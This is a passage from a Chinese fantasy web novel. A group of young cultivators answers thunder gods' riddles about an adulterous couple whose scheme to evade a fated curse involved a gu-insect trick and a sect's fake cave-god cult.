只是接下来又是进一步的难题。博览群话本的曾换月有了方向之后便有了些自信:“若是和患得患失有关的话,那一定是出现了竞争对手!” 石映心也赞同这个说法:“她是提到过那个男人结了婚后会处处忧心,还有多方关系介入的可能。” 屠莱挑眉:“那第二个问题就问……是否和别的男人有关?” “说不定是别的女人,”屠芜却说,“多方关系介入,也不一定就是女子在接触。” 顾梦真一拍手:“就问直接问是不是和其他人介入感情有关嘛!” 大伙依旧表示同意。 这次也得到了金昆的肯定答案。 那么故事推理到这里,似乎最后一个问题就很明显了,这个通奸的人究竟是谁呢? 曾换月沉思了一会,判断道:“我觉得是这个男的。” 石映心:“为何?” “你们想啊,这个男人对她妻子的描述非常好,说她温柔体贴,善良大方,对他有求必应欸!还生了一儿一女,话语间都是感恩的意思。”曾换月振振有词道,“你们设身处地一下,若是面对一个给自己戴绿帽的女人,能说出这么好听的话吗?” 顾梦真于是设身处地地想了想:“好像不能?除非我自己也有错。” “不错,”屠莱也说,“若是那个男子自觉在相处中亏待了他妻子,因此导致了她妻子红杏出墙……也不是不可能。” “那么他有可能问两个问题。”明易听罢,总结道,“一是‘我与他人通奸,选妻子还是选情人’;二是‘妻子与外人通奸,我是否要原谅她’。” 说完,他下意识看向映心。这人脸上带了眼纱之后就有些呆呆的,本来就不多的神态仿佛也被封印了起来。 也许是感受到他的视线,石映心说话了:“是很有道理,我总觉得……金昆的重点好像不是在这里。” 明易被她一点,恍然道:“不错,金昆问的是为何男人的命格与他的实际情况不同,但我们一直分析的是男人遇到了什么爱情问题。” 屠芜有些无奈道:“可我们就是不知道为什么会不同,才从他遇到的爱情问题下手。” “不。”眼纱遮住了石映心的眼睛,大伙都不知道她在想什么,只听她冷静道,“应该是这样的逻辑:他做了什么,导致感情和命格不同,因此遇到了爱情问题。” 这下五人都听明白了。 于是变得更不明白了。 “什么意思?”顾梦真把手一摊,“所以我们还是要猜男人是如何改命的吗?这我这没头绪啊……” 曾换月摆烂道:“说不定就是一边喊着我命由我不由天,然后一边就改了,哈哈。” 屠芜却说:“如果改命也是他命中的一环呢?” 屠莱:“既然如此,这逻辑就是一个死循环。” 咋样都不对呗。众人于是又陷入了沉默,只剩下最后一次机会了,前边两次虽然问对了信息,但如果解题的方向错了也没用,还是要谨慎为好…… 石映心眼纱后的双眼睁着,每一次眨动都能感到睫毛擦过纱布,从未觉得此处的毛发如此有存在感;眼前柔白的世界中旁人的话音像与她无关的、从窗外吹过的风,静谧之中,她渐渐地陷入了自己的沉思。 改命…… 命中的一环。 “如果……”石映心尝试地说,“他没有走进这一环中呢?” 众人齐齐望向她。曾换月问师姐:“什么意思?” 石映心却看向她反问:“换月,你以前给我讲过一个儿子弑父娶母的故事。” “哦,那个啊。”曾换月当然记得这个著名的狗血故事,但见其余人疑惑的目光,于是简单地概括道,“就是讲一个地方的王被预言自己的儿子会弑父娶母,于是趁着儿子小的时候就把他扔了;他儿子便被人收养,但不知道自己是收养的,得知长大后得知预言的他便离开了他自以为的亲生父母,结果一出去就意外杀了他真正的爹,又按照当地的习俗娶了她娘当了新王。” 大伙听了都感到震撼。顾梦真倒吸一口凉气:“我的老天奶,这也太离谱了吧?折腾来折腾去,结果还是改不了命吗?” “不,”明易微微摇头,“从听故事的人看来,他们白费心机、依旧被命运捉弄;但从当事人的角度看……已经算是改命了。” “你这么一说好像还真是。”屠芜一愣,“不管是弑父的儿子,还是被杀死的父亲, 甚至是嫁给了儿子的娘……都是不知情的。这么看来,他们自认为躲开了命运,即使事实不变,但起码逃脱了心上的折磨……” 屠莱的声音有些低:“无知者的幸福。” “嗯。”石映心微微颔首,“每个人只能看到自己视角的命运,而命运只对当事人本身有意义。所以从某种角度上来说,故事中的三人确实‘改命’了。” 明易若有所思:“命运只对当事人本身有意义……是如此。” “这么看来也是哦,”但曾换月还是有些不解,“不过师姐你提到这个,和我们要解决的问题有什么关系吗?” 石映心便说:“第三个问题我想问,男人是否在很早前就知道了自己的命格。” 虽然用的是笃定的语气,但她还是象征性地问了问大家的意见:“可以吗?” 明易便明白了她的意图:“你是想看他是否和故事中的父亲一样主动做出了他认为是在改命的事?” “嗯。” 她大师兄自然是支持她的:“我同意。” 她二师兄和小师妹当然也没有意见:“可以啊可以啊。” 屠家兄妹已经属于少数人派,但依旧有尊严有立场地发表了意见:“都行。” 石映心于是转过身去:“第三个问题是……” “喂喂,”金昆朝对着墙说话的石映心摆摆手,“妹儿,我在这。” 石映心:口0口 明易帮师妹调整了方向。 第208章 石映心:“第三个问题是,男人是否很早前就知道了自己的命格?” 她看不见金昆的表情,只听出她的语气有些玩味:“是。” 石映心便笑了:“我知道答案了,答案是唔唔唔……” 屠芜捂着她的嘴巴把她拉了回来,无语又无奈道:“映心,我们还不知道答案!” 屠莱扶额:“你们三个这么随便她也就算了,起码和我们兄妹二人商量一下好吗?” 短暂的几日相处让屠家兄妹二人隐约看明白了:在这师兄妹四人中,虽然曾换月和顾梦真的话最多,但实际的话语权在石映心和明易手上;而后者对前者抱着一种“别乱来就行”但其实完全随她乱来、默默准备善后的诡异态度。 方才她要脱口而出答案的时候,那三人的表情真是让他笑到了: 曾换月和顾梦真一脸“咦,映心知道啦”这样的理所当然; 明易一脸“没事,问题不大”这样的坦然接受。 屠莱:无脑的包容真可怕。 被拉回来的石映心也没有不开心,而是坦然地说了自己的想法,并且仔细分析了一遍,听得五人目瞪口呆,呆若木鸡。 顾木鸡:“嘶……还别说,这个答案也不是没有可能啊。” 明木鸡:“从理论上来说……是符合逻辑的。” 芜木鸡:“这么乱来的吗?算了,反正我没有更好的回答。” 莱木鸡:“不是,这是正常人能想到的角度吗?” 曾木鸡:“就是要这么刁钻狗血的剧情,哈哈哈哈!” 木鸡们开好会后全票同意,于是由石映心交上了答案: “这是一个狡猾的男人。”她先是这么评价了一句,“他很早便知晓了自己的命格,知道婚姻对他有害无利,可他又无法舍弃世俗的爱情成果,于是他另辟蹊径……找别人的妻子当自己的妻子,有婚姻之实而避婚姻之名。” 她们在讨论的时候,三位雷神石雕就像石雕一般立在那一动不动,稳稳当当地观赏着小小人类的一举一动;直到人类转过头来与她们互动,于是石雕神又活了过来。 金昆听到答案,石头脸上露出一个僵硬的笑容:“回答正确,你真是个聪明的孩子。” 石映心谦虚接受:“谢谢。” 她身后几人也松了口气。 “你是怎么想出这个答案的?”金昆好奇地问,“就凭你们刚刚说的那个……弑父娶母的故事?这故事我是第一次听,不过并不稀奇。” 曾换月不服:“这还不稀奇啊?” 金昆和蔼地说:“小孩们的见识太少,觉得稀奇也正常,世间比这有趣的故事太多了。好了,回答我,你是怎么想出这个答案的?” 石映心真诚地问:“这是你们的第二个问题吗?” 金昆:“……不是。” 石映心有些失望:“好吧,那我没有回答的义务。” 顾梦真:“就是就是!” 金昆:…… 她还算好脾气道:“回答我,第二个问题可以多给你们一次提问的机会。” 这才是公平交易的态度嘛。深受二师兄影响的石映心便答应了: “改命不一定是命中的一环,但我想命运确实有很多环;故事中的父亲如果一开始没有将孩子丢弃,长大后会因为其它原因意外或不意外地死在孩子手上。他以为自己改变了命运,其实只是更改了命运的一环,但通往终点的道路并不只有这一条。” “因此我想,男人得知自己婚姻不利所以不迈入婚姻的做法对普通人来说确实算是改变了命运的一环,可他始终会从别的路走向自己的终点。从这里大致可以分为三条路。” 石映心伸出三个手指头: “一,最寻常的路,也就是他没主动改命后的路,迈入倒霉的婚姻;二,一辈子不婚。心中有爱情欲望却得不到爱情,也算是感情不顺的应相,不过这条路可以脱离现实利益的损害,只折磨他的心,因此算是最好的一种。” “可显而易见,他以上两条路都没走,走的是最不寻常的第三条路。称呼别人的妻子为自己的妻子,生下自己的孩子装别人的孩子,可谓是作孽。作孽便会不可活,他将得到比前两条路更严重的……命运的惩罚。” “我想,他来找你求助的感情问题很有可能是:如何才能避免奸情泄露……之类的。” 金昆听罢,哈哈哈哈地爽朗大笑起来,对石映心投去十分赞赏的目光:“很好,你已对凡人的命运有了一定的认知。” 石映心举在空中的手指顿了顿,她脑子里冒出一个莫名的话:“解别人的难题并不难。” 她身后的几人:……不,其实也挺难的。 金昆并未评价她的“大话”,干瘪的脸上扬起一个意味深长的笑容:“那么,就让丰隆给你们出第二道问题吧。” 众人的目光于是再次聚集在丰隆的龙头上,这石雕龙头的雕工确实不错,将神兽的威武霸气雕刻得栩栩如生,眉目之间回荡着震慑人的煞气;丰隆穿着铠甲的硕大的体型几乎是边上嫘祖的两倍,那右手上举着的大锤子上刻画着一些复杂的图案,若不是石头做的,应该更显精妙绝伦。 明易客气道:“请阁下出题。” 丰隆并不多说,只是将手中的大锤子往空中一划,就见一道雷光划过,闪得石窟内大明大亮了两下,边上的空地上忽然出现了两个人影:凡人模样的一男一女,跪在地上,姿态和神态都很狼狈。 二人都是三十左右的年纪,被召唤出来后还有些没回过神,惊恐地打量了面前的景况之后又对视了一眼;他们中间有一些距离,瞧这二人的模样是很想挪过去互相挨着,但又忌讳着什么始终只是蠢蠢欲动着不敢动作。 这莫名出现的两人胆战心惊地不敢说话,但石映心等人没有顾忌,奇怪地问:“这二人是谁?” 丰隆龙嘴一勾:“你们的第二道题。这二人便是方才金昆口中通奸的男女,他们的恶行被揭露后,携手私奔逃离家乡,到了一个没人认识他们的地方过上了逍遥自在的日子。不过……” 丰隆似笑非笑地瞥了眼那已经把头低垂下去的二人:“深受他们毒害的人可不甘心就此放过他们,于是献上无数祭品,虔诚地祈求我给予二人应有的惩罚;这些人执着的信念有幸被我听见,既是一种缘分,我自然没有坐视不管的道理。” “不过身为雷神,我必须根据因果降下 最公平的惩罚。所以我的问题是:如何才能让这二人承受他们应得的痛苦,并且感到真心的悔改?” 这第二个难题让场面一时陷入了沉默。 虽然她们早料到这三个问题肯定不是简单的是非题或者选择题,但怎么就变成“公堂现场”了?多少有些超标了吧…… 曾换月两辈子唯一掌握这种“公平审判”权利的时候是在外卖软件的“评审团”上,当然不是为了施展内心的正义才去评审的,只是因为无聊然后想看点奇葩的热闹……就这样,她还不一定选到大多数人站队的那边。 其他的情景就是审判闺蜜和闺蜜男朋友的打情骂俏小题大做大题瞎做事件,这个时候就更是偏心到没边了。 所以,现在,她要根据因果为这对通奸男女降下公平的惩罚吗? 曾换月两眼一闭,首先举手发言:“我申请放弃我的投票权,但保留言论自由的权利。” 意思就是我不投票了,但我还是要瞎说哦。 明易叹了口气:“我们能先听听当事人的说辞吗?” “当然,”丰隆的锤子一甩,抱起胸道,“把他们叫出来就是为了让你们了解情况的,随意问吧。” 六人便看向跪在地上的二人,一时还不知道怎么开口呢。明易先问:“二位怎么称呼?” 那二位你看看我我看看你,神态扭捏。 曾换月急性子受不了这样,大声道:“问你们话呢,大大方方地说呗,我们又不是不知道你们做的那档子见不得人的事!” 她这一吼很有效果,男人立刻道:“几、几位大人,小人名叫夏建。” 女人接着说:“奴家是小倩。” 屠芜便道:“你们二人的事情我们已经有了大概了解,具体情况倒是不甚清楚,不如你们仔细说说?” 夏建看了看小倩,主动揽过话头道:“我与小倩是青梅竹马,自幼相识于私塾,情窦初开后便一直在一起,感情很好,打算等到了年纪就去官府登记成婚;我本是想找个算命师傅将我与小倩合八字后挑个好日子,谁知这一算……就算出我命格感情不顺,一成婚便会……克妻各己。” “我本是不信,但那老师傅将我与小倩的性子、生平经历都说得切实,连我小时贪玩摔断过腿的事都知道……叫我们二人不得不信。他劝我这辈子放弃感情,也许可避开命中大灾,但是……” 说到这,他还抹了一把泪,和小倩含情脉脉地对视上了:“你我二人情比金坚,我如何能放手呢?” “夫君……”小倩拉起他的手,语气悲哀而感动,“夫妻本该同甘共苦,为了你我什么都愿意。” “小倩……” “什么都愿意是指……”石映心问,“嫁给别人,然后和他通奸的事吗?” 二人的深情被突兀打破,他们看向那个戴着眼纱的女人,一时拿不准她是不是瞎子,但又知道自己没有询问的资格,还只能乖乖回答她的话。小倩支吾了一下,慢慢地点了点头:“是……这是我与夫君商量后想出的办法。” 第209章 顾梦真额头上的青筋突突,他搞不懂这二人的脑回路:“不是,你们究竟是怎么想到这个奇葩的办法的?是谁提出来的?” “……是我。”夏建叹了口气道,“得知命格之后,我本是想放手,不愿耽误小倩。我们也尝试分开过一段时间,但最后都抵不过对彼此的思念……只好重修旧好;本是想私定终身,约好一辈子不登记成婚,可……” 说到这他支吾地停了下来,拉着小倩的手紧了紧。 小倩抽了抽鼻子似乎在忍住泪水,接着他的话继续说:“可我爹娘不同意,而且在我们那……女子过了二十后还未婚嫁的话就会发一种古怪的疯病,轻则易怒,重则癫狂伤人……” 等等等等!这个设定有点熟悉啊。 屠芜眉心一跳,不禁出声道:“你是螺族人?” 小倩有些诧异地抬头看向她:“是……你怎么知道?” 屠芜和她哥哥对了个眼神,抿了下唇道:“我……只是恰好听说过你们螺族的习俗罢了。” “原来如此。”小倩并不多疑,继续说道,“总之,我爹娘既不同意我和夫君在一起,又执意让我在二十之前嫁人,怕我到时候发疯病……我无力反抗爹娘的决定,只好违背良心,嫁给了我的表哥……” “等等等等,”曾换月有些疑问,“你们方才还说要私定终身,这个时候怎么没去私奔呢?” 小倩:“当时我们没有勇气……” “是怕应相吧。”石映心一言点破,“私奔就算是私定终身,私定终身后便算是结为夫妻,那么夏建的命格就会开始应相。所以对你们二人……或者说,对夏建来说,最稳妥的办法就是让你嫁人,他再找你苟合,顶多算是通奸,如此便不会克妻克己。” 真有道理啊。 屠莱冷哼一声:“你们谋划得还挺好。” 那二人听了都是一愣。小倩有些诧异地看向她夫君:“是、是他们说的这样吗?” 夏建叹了口气,痛苦地摇了摇头,握着小倩的手说:“小倩,这也是无奈之举,我不想让我的命格伤害到你啊!” 明易:“那你最该做的就是离开她。” 夏建:“我……” “不行!”不等夏建解释,小倩就大喊道,“我离不开他,我不能离开他,我当时还怀了他的孩子!他这么做是无奈之举,也是为了我好……” 六人:……哦这样啊。 石映心这时候忽然好奇一个问题:“听说你还为他生了一儿一女?那你如何保证第二个孩子是夏建的呢?” 好问题。 “因为……”小倩的眼神有些闪躲,嘴里又支吾起来。 “是我出的主意!”还不知道是啥玩意呢,夏建先认领了,“我寻来了一种能迷惑人神智的蛊虫,每当她表哥要……和她办事的时候,就用蛊虫迷惑他,让他以为办成事了!所以……所以小倩与他压根没有任何私情!她的心她的人,她完全只属于我一个人!” “夫君……” “小倩……” 六人:……哦这样啊。 曾换月小声吐槽:“这表哥真可怜。” 更可怜的还在后边呢。 也许是见几人的眼神很有意味,夏建似乎想找补:“她表哥性情暴躁,成婚没过多久便突发恶病而死,小倩变成了人尽皆知的寡妇;可我们那的女子不能改嫁,我又怎么忍心让小倩下辈子孤寡一人……” “喂喂,”顾梦真不由得瞪大眼睛道,“不是我说,听起来那表哥的死你俩很有嫌疑啊!” “不是我们!”这二人异口同声地否认了,“真是他自己莫名死去的!” “……噢噢。” 几人嘴上敷衍着信了,但在心中记挂着此事,想着等会便问问丰隆有关这表哥死亡的问题…… “不过,”屠芜皱着眉头问小倩,“你那表哥性情暴躁,你爹娘……还有你自己,居然还同意嫁给他?” 小倩摇摇头道:“不是的,表哥他之前不是这样的。我虽与他不熟,但也是从小相识的关系,成婚以前他待我和善,说话一直轻声细语,平日就爱看看书什么的,我爹娘都很喜欢他……” 说到这,她面上也有些疑惑:“谁知成婚之后就……性情大变,常常易怒,又说自己头痛、浑身难受……” 夏建:“这只是他想欺负你的借口!” 小倩似乎不太认同,但也没否认,继续道:“我婆婆她们也请了大夫来看,但纷纷瞧不出有什么毛病……他时好时坏的,平日我也不敢招惹他;谁知不过一年,他就暴病而亡。” 石映心听明白了:“原来是这样,你们本是看小倩表哥性子软弱好欺负所以才拉他入局让他戴绿帽子,没想到成婚后才发现事实并非如此。” 二人:……等等你这话说得有点…… 屠莱挑眉:“真不是你们用蛊虫害人?” 二人斩钉截铁道:“真不是!” 此时顾梦真想到什么:“那照这么说,死了儿子之后的你的婆婆和公公,肯定会把你生下的两个孩子当宝了;难怪后来你们二人通奸一事败露后对你们如此怀恨在心啊,执念要雷神惩罚你们……这唯一的血脉都被你们断了啊!” 这于情于理都非常不道德,二人都有些惭愧地垂下了头。 “不过,”明易冷静分析道,“你表哥死去后,名义上的丈夫便没了。这时哪怕夏建和你是私通关系,我想也算是一种应相。” “是……”夏建苍白的脸上扯起一个难看的笑容,“大人您说的是。只是当时我们没想到,如今回想起来才后知后觉;毕竟当时我和小倩已经维持那种关系好几年,这期间二人的生活都未受到影响,甚至我家的买卖生意还越做越好,谁知道……变故来得如此突然。” 果真是“不是不报,时候未到”啊。 石映心问:“变故是怎么发生的?” “……只能说是天意弄人。”提到这事,小倩的脸上露出一种很哀戚的后悔,“有一回我身子不适……不,是我想趁着我婆婆不在家,出去见夫君,所以那日只有我婆婆带着两个孩子去山上祭祖。谁知路上遇见一个算命的,他一眼看出我婆婆白发人送黑发人,我婆婆大惊,于是请他一算……便全算出来了。” “得知此事后,我公婆他们也是将信将疑,可二人往常便有开玩笑地说过孙子不像儿子之类的话……思来想去,他们并未打草惊蛇,只是暗地里调查和收集证据给我下套,最后将我和夫君当场捉奸在床……真是无可争辩。” 好聪明的两个老人家啊。 小倩无奈地叹了口气:“事情败露之后,按照我们螺族的习俗,我要被送去给狗神接受惩罚……” 啊?? 等等等等! 大伙猛地瞪大眼睛,思绪紧急叫停,怎么又有狗神冒出来了?几人面面相觑,还是明易提议道:“先让她把话说完。” 于是就听小倩说完:“……进了狗神洞就是死路一条了,而且还是活不见人、死不见尸;还好夫君将我救了出来,我们二人连夜逃离了螺城,从此浪迹天涯,相依为命……直到,天雷降下,要给予我们惩罚。” 要点有点多,但几人更在意的是:“你方才说的狗神是谁?” 小倩似有些奇怪他们为什么会问这个,所以只是简略道:“是我们螺族一直祭祀的老祖宗……重点不是这个。” “重点就是这个!”曾换月急切道,“你快把这狗神详细说说,还有那个狗神洞又是什么?” 小倩和她夫君对视一眼,各有疑惑,但他们没有拒绝的权力,所以这些大人物问什么他们最好乖乖答什么。 夏建道:“正是我族的习俗,若是有谁犯了大错,比如通奸之罪,就要坐入轿子被送到狗神洞中。没人知道洞中有什么,因为进去的人便从此了无音讯、不见尸骨。当时我救小倩,也是赶在他们进洞没多久……” 他说完,打量着这些大人物的神色,见他们只是交换着眼神,并没说话但仿佛又知道彼此的意思,心中很有疑惑。 其实几人正在传密音呢: 曾换月:“喂喂,怎么又冒出一个狗神洞来啊?” 屠莱:“我没听过什么狗神洞。” 屠芜:“我也没听过,不过……哥,你有没有觉得这二人很面生?” 屠莱:“我连娘的邻居长什么样都不清楚。” “……我的意思是,”屠芜说,“这二人的打扮和我们族的人也有些区别。” “她们也许不是现在的人。”明易思忖道,“我们在盘瓠石窟中进入了结界,回到了几百年前的落花洞女时期……也许如今的雷神石窟,也并非是当下的时候;或者还有一种可能,雷神给我们出的题目并非是正在发生的故事。” “啊,”曾换月懂了,“历年考题!” 明易:“有这可能。” “什么意思啊,”顾梦真还有疑惑,“那也就是说她们已经给这二人定了罪吗?” “有可能。”明易沉吟片刻道,“总之,目前有了狗神的线索,我们可以先试着搞清楚情况。” “好。”屠芜用密音应了一声,开口问二人,“你们可听过落花洞女的故事?” “落花洞女?”夏建一愣,“这事闹得这么大,连你们这些外人都知道了?” 屠芜紧忙追问:“什么事?” “这是一个骗局。”小倩露出一个有些愤恨的表情,“压根不存在什么洞神,那些可怜的女子,是被藏在洞中的奸人盯上了,后被他们设法中了他们炼制的蛊虫,因此出现神志不清的幻觉,被人引导着每日去洞边坐着……” “接着那些人就放出什么洞神的传闻……等落花洞女坐轿被送入洞中之后,里头就会有人接应,等待那些女子的便是惨绝人寰的虐待。而本就中了蛊毒的她们也活不过几日……最后她们的尸骨都被投入药池之中,成为蛊虫的饲料。” 第210章 几人遇到小桃之后就隐约察觉这是一场阴谋,如今得知了真相也并不意外,但依旧义愤填膺。曾换月骂道:“一群猪狗不如的畜生!” 小倩同样愤慨:“不错!好在他们得到了惩罚。” 屠莱:“什么惩罚?” 小倩诡异地默了默,扯起一个难看的笑容:“他们被雷劈死了。” 被雷劈死了? 大伙,包括小倩和夏建,不由得向那立在边上的三位雷神投去视线;可这几位放出问题之后就任由几人讨论,除非主动向她们提问,不然就搁那一动不动,仿佛还是毫无生气的石雕。 比如现在,就算提到了“雷”,她们依旧无视众人的视线,并未有任何动弹,似乎与他们无关。 可石映心好奇啊:“怎么劈死的?” 夏建脸上露出回想的神色: “我记得是……有一日晚上,族人们被雷声惊醒,发现是落花洞的上方闪过几道惊雷,当晚不敢探究,隔日一早去那边一看,就见洞门口横了一具焦黑干瘪的尸体;往前望去,有一条血路往洞里延伸,仿佛是那道尸体被人放着血拖出来的一条路,引着人们往里走。” “族人们提心吊胆地顺着血路往里走去,陆陆续续又发现了不少被放干血的焦黑尸体,就这么一路走到了快尽头的地方,总算看到了一条岔路;顺着岔路走进去,就走到了一间密室中,里头有一个很大的药池,边上堆着那些落花洞女破烂的衣物,还有一个神志不清的男人……” “那男人一见到活人便冲上来,胡乱地交代了自己的罪行,然后在众目睽睽之下跳入药池之中,被黑池侵蚀而亡。至此大家才明白了落花洞女的真相,不过那时候已经死了不少人了。” 原来是这样,这雷有点东西啊,几人往边上飘去视线,所以是这三位雷神劈的吗? 屠芜问:“不过后来怎么又变成狗神洞了?” “因为是狗神降下的天雷。”夏建道,“狗神是我们螺族侍奉的神祇,平日不轻易面世,此事是它见不惯这些人作恶多端,于是降下天雷揭露真相;后来族长将此事做典型,为了规范族人的行径,就让落花洞变成由狗神惩治恶人的特定场所……” “不过因此事死者过多,有辱我们螺族的名声,所以族长命族人们不许再议论此事,又将落花洞改为狗神洞,平日有人看守,不许随意进出;所以只有我们这辈的族人才知晓其中故事,那些小孩都不清楚了。” 他说得倒是听明白,但大伙听了依旧觉得哪里怪怪的。 明易便抓住了重点:“你说的族长是谁?” 夏建:“盘叁。” 明易眉心一跳:“事情发生的时候……是盘螺几年?” “没想到几位大人还知道我族的年号,”夏建笑了笑,“当时是盘螺三十二年,我和小倩的大女儿出生那年。” 谁管你大女儿什么时候出生啊!几人的大脑疯狂转动,好在脑子都不算笨,很快从回忆里调出了之前在棺材板上看过的信息: 【盘螺二十年,天降神雷,劈死了盘王。 蛊师辅佐盘王长子继位族长,迎娶盘王大女儿。 此后十年间,盘王长子、次子相继死去。 盘螺三十年,蛊师更名改姓为盘叁,成为螺族族长;在他的领导下,螺族进入了蓬勃发展的鼎盛时期,不死之药从此闻名天下,成为人人趋之若鹜的宝贝。 盘螺六十年,盘叁不得灵药,抱憾而终。】 不对啊。 石映心问:“你们口中的狗神是叫盘瓠吗?” “是。”小倩说,“不过族人们都尊称为狗神,或者盘王陛下。” “对了,”她边上的夏建补充道,“外族人似乎都称盘王陛下为盘古,说是各地方言不同的叫法,其实都是同一位。” 石映心挑眉:“你是说……开天辟地的盘古?” 到这时候,夏建居然还有些得意的模样:“不错,我族的庇护神老祖宗正是开天辟地的创世神盘古!” 造假的信息也对上了,但是……石映心直言直语:“盘瓠不是在盘螺二十年的时候就死了吗?” 小倩和夏建听了都是一愣,随即居然笑了出来:“大人说笑了,神怎么会死呢?不过盘王陛下确实是在盘螺二十年的时候将族长之位传给后世后就带着公主一起归隐了,平日鲜少面世,现在都是由盘叁族长在管理族事。也许正是因为如此,外族才有他死去的传闻吧。” 可是……石映心投去怀疑的目光:“这么说你们也没见过他,又怎么知道他还活着?” 小倩:“神怎么会死呢?” 石映心:“……我需要除此之外的借口。” “有啊,就是狗神洞。”夏建说,“狗神洞始终在惩戒着族中犯错的罪人,每当那些罪人进入洞中便会响起雷声,从此便再也不见此人,这便是狗神活着并始终庇护我螺族的铁证。” 可是她们依旧觉得这铁证不够铁,顶多算是虚证吧。明易便道:“眼见为实,耳听为虚。你们只是听到雷声,却不知道降雷的是谁,世上也并非只有你们老祖宗有这样的本事。” 这二人却不以为然。小倩说:“可我族只祭祀狗神,其他神明为何要来帮我们呢?” 曾换月忽然想到了七夕节的七仙女,感慨道:“世上有这样的冤大头好人,也会有冤大头好神的。” “况且, “屠莱有别的看法,“也不一定就是神的所作所为,可以模仿雷声的物件也不是没有;指不定那狗神洞里根本没有什么狗神,不过是借狗神之名行事的凡人而已。” 夏建和小倩露出震惊且不愿相信但又不敢反驳的神色。 石映心等人则表现出被说服后恍然大悟的模样。 顾梦真拍拍屠莱的肩膀:“老兄,你这说法倒是很有可能啊!你是如何想到的?” 屠莱把他大力的手拿开,将自己被拍下去的一侧肩膀抬起来,冷漠道:“只是作为蛊修的基本直觉。” 顾梦真:“说得这么玄乎?” “屠莱的意思是,”屠芜在边上解释道,“但凡是会炼蛊虫的蛊师,看到那潭五毒俱全、自灭自生的药池,不可能会不心动。已知盘叁当族长的时候螺族蛊术蓬勃发展,族内应有不少蛊师……” 怎么可能会轻易放过那潭药池呢? 而且事实证明,药池并未被销毁,而是一直延续到了今日;其中生死循环的特质究竟是何时形成的、又是如何形成的,便无从得知了。 明易这时候给沉思中的几人传密音:“盘叁为得到不死之药不择手段,我想这也是他留下狗神洞的目的之一。” “至于惩戒那些所谓的罪人的办法,”屠莱冷哼一声道,“估计是将他们喂药池,再造假雷声借狗神之名。” 顾梦真感叹道:“这盘叁鬼点子真多啊,估计还觉得自己杀的都是罪人,所以良心很过得去哦。” 曾换月不高兴道:“这人怎么没被雷劈死呢!他有什么资格这么随意地处置别人?” 屠芜想了想:“可能觉得自己是在废人利用。毕竟照螺族的习俗和规矩,通奸的女子就是不被送入狗神洞中,也会受其他刑罚,就是不死也是生不如死。” “那男子呢?”石映心问。 屠芜一愣:“对哦,男子呢?” 大伙齐刷刷地看向夏建,问他得到了什么惩罚。 夏建叹了口气道:“我被逐出螺族,终身不得回来。” 六人:OO? “喂,”曾换月瞪大眼睛,“怎么你的惩罚就这么不痛不痒?” “怎么会不痛不痒?”夏建露出痛苦的表情,“独自一人离开生我养我的家乡,我的爹娘,无法回报养育之恩,实在是我人生一大悔恨,每每回想起来我都生不如死!” 曾换月翻白眼:“对对对,小倩失去的只是生命,而你失去的是不能给爹娘养老欸,太惨了太惨了。” 夏建:……一时不敢确定是不是阴阳怪气呢。 “而且你也不是独自一人离开吧,”屠芜嘴角一抽,“你不是带上小倩了吗?” “所以,”石映心客观评判道,“你压根没亏。” 夏建:…… “你们别这么说!”不等脸色难看的夏建开口,自有傻子替他辩解,“一切都是我自愿的!不管是嫁给表哥,还是与夫君通奸生儿育女,都是我心甘情愿的!若不是夫君最后救了我,我早就死在狗神洞中……” 顾梦真:“可这也是他害你的……” “不!”小倩声嘶力竭道,“没了夫君我是活不下去的!” “小倩……” “夫君……” 二人执手相看泪眼。 大伙竟无语凝噎。 曾换月传密音吐槽:“这夏建到底是给小倩灌了什么迷魂汤啊?这到底是喝了多少?” “迷魂汤……”屠芜忽然想到什么,“哥,你说小倩会不会是中了蛊毒?我看这夏建有些门道,之前他不还说给小倩的表哥用了能迷惑人神智的幻觉蛊吗?” “也不是没有这个可能,”屠莱说,“但这二人活在盘螺三十二年,如今的模样估计只是一缕残念,我看是诊断不出来的。” 曾换月催促道:“别说那么多,你先去试试呗!” 试试就试试。可没想到不只是诊断不出来,屠莱压根就碰不到这二人,只好在他们疑惑的表情中又走了回来,朝几人耸了耸肩,表示无奈。 “没事。”石映心贴心提醒道,“有必要的话等会我们可以问丰隆。” 是哦,还有这个办法。【】 210-220 第211章 这时明易又问:“你们二人远走高飞后,两个孩子怎么办?” 小倩看了看她夫君,露出悲伤的表情:“我们的孩子……唉,我公婆虽然恨我,但平日待两个孩子还是很好的,我想他们不至于把仇恨迁怒到无辜的孩子身上……只可惜来生再也不能相见了。”说到后边还有些想哭呢。 夏建替她抹眼泪:“是啊,两个断子绝孙的老人能留下一对子孙,怎么舍得待他们不好?小倩你就宽心吧……” 众人:……不是,到底是怎么做到把孩子给毫无血缘关系的仇人养还这么心态良好的? 算了,不理解也不想理解。 这会情况也问得差不多了,几人回忆了一下丰隆的问题:【身为雷神,我必须根据因果降下最公平的惩罚。所以我的问题是:如何才能让这二人承受他们应得的痛苦,并且感到真心的悔改。】 关键点有三:公平的惩罚,应得的痛苦,真心的悔改。 前两个是他们要商量的事,至于最后一点…… 曾换月问那二人:“喂,你们现在知错了吗?” 二人将含情脉脉对视的视线转向她,苦着脸说:“知错了,我们知错了。” 很好,曾换月满意点头:“是不是很后悔?” “后悔,非常后悔!” “如果再给你们一次机会……”曾换月问,“你们会怎么做?” “这……”二人对视一眼,转过头来道,“我们会更小心不被发现的!” “嗯嗯……啊?”曾换月暴跳起来,“喂!你们什么意思啊!?这是后悔的态度吗!?” 小倩害怕地抱住她夫君:“可我离不开夫君啊!” 夏建也回抱住小倩:“我也不能离开小倩!” 顾梦真也被搞得很头大:“那你们两个就不要祸害那个表哥了,要私奔要成婚随便你们啊!” “可我的命格克妻克己啊!”夏建痛苦道,“我不能害了小倩!” “你现在是没害到她吗?”屠芜好无语啊,“你甚至还害了无辜的她表哥一家人!” “这并非我们的本意!”夏建摇头道,“如果上天能给我一个再来一次的机会,我一定会想到更妥善的办法,既能躲过我的命格,又能叫小倩表哥一家无知无觉……” 得,这是觉得自己的犯罪还不够完美。 “世上不存在完美的犯罪,”明易冷酷道,“也没有能侥幸躲开的命格。你若不想克妻克己,最好的办法便是远离感情。” 夏建闻言,瞪着眼看向他,眼中暴起狰狞的红血丝:“可上天为何对我如此残忍!为何偏要让我孤家寡人一辈子?难道我夏建就不配拥有贤妻孝子?实在是太不公了!” 小倩:“我可怜的夫君!” 这一唱一和的,曾换月撇嘴:“那咋整。要怪就怪你生错了时候,命格如此。” “为何我是这样倒霉的命格!?”夏建不解又恼怒,甚至抓着小倩的手都分外紧,紧得小倩都想抽离,“为何旁人生下来就是荣华富贵、妻妾成群?而我出生贫穷便罢了,还要孤身一辈子?” 